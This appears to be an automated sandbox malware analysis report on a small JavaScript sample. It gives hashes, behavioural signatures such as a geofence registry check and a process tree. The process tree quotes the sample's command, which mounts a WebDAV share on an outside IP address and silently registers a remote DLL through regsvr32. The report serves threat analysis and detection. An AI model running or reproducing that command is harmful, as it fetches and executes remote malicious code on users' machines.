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Analysis
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max time kernel
140s -
max time network
138s -
platform
windows10-2004_x64 -
resource
win10v2004-20240709-en -
resource tags
arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system -
submitted
23/07/2024, 06:31
Static task
static1
Behavioral task
behavioral1
Sample
8922183592147230227.js
Resource
win7-20240704-en
Behavioral task
behavioral2
Sample
8922183592147230227.js
Resource
win10v2004-20240709-en
General
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Target
8922183592147230227.js
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Size
4KB
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MD5
b62a39aa7ae85dbd5e953b6dca907173
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SHA1
5dd741972248447b299d4d26fcf90664a2a85834
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SHA256
cc717503432b1c22338f196d954c995390fed14e3aab0cab844cfe0b4ca93d9a
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SHA512
2baf0f096fcc3210c76d51e1fd339fcba43bdd6ed8b1e013a0e225bc2dcd1fab35194714af1850603cf433331221710da8ad5fe1e83637e439e45cdb028f6a32
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SSDEEP
48:RSNAP0/GTOpaTUtDStoXR8TJB8oslIgxMTJBPXaq0Up8R///IZ7TMTMTjAkrzMQc:6A8ekpt2t25o1OPqumzAkrVmzj
Malware Config
Signatures
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\Control Panel\International\Geo\Nation wscript.exe -
Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Runs net.exe
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Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 4880 wrote to memory of 396 4880 wscript.exe 84 PID 4880 wrote to memory of 396 4880 wscript.exe 84 PID 396 wrote to memory of 4792 396 cmd.exe 86 PID 396 wrote to memory of 4792 396 cmd.exe 86
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\8922183592147230227.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4880 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\92451529317231.dll2⤵
- Suspicious use of WriteProcessMemory
PID:396 -
C:\Windows\system32\net.exenet use \\45.9.74.36@8888\davwwwroot\3⤵PID:4792
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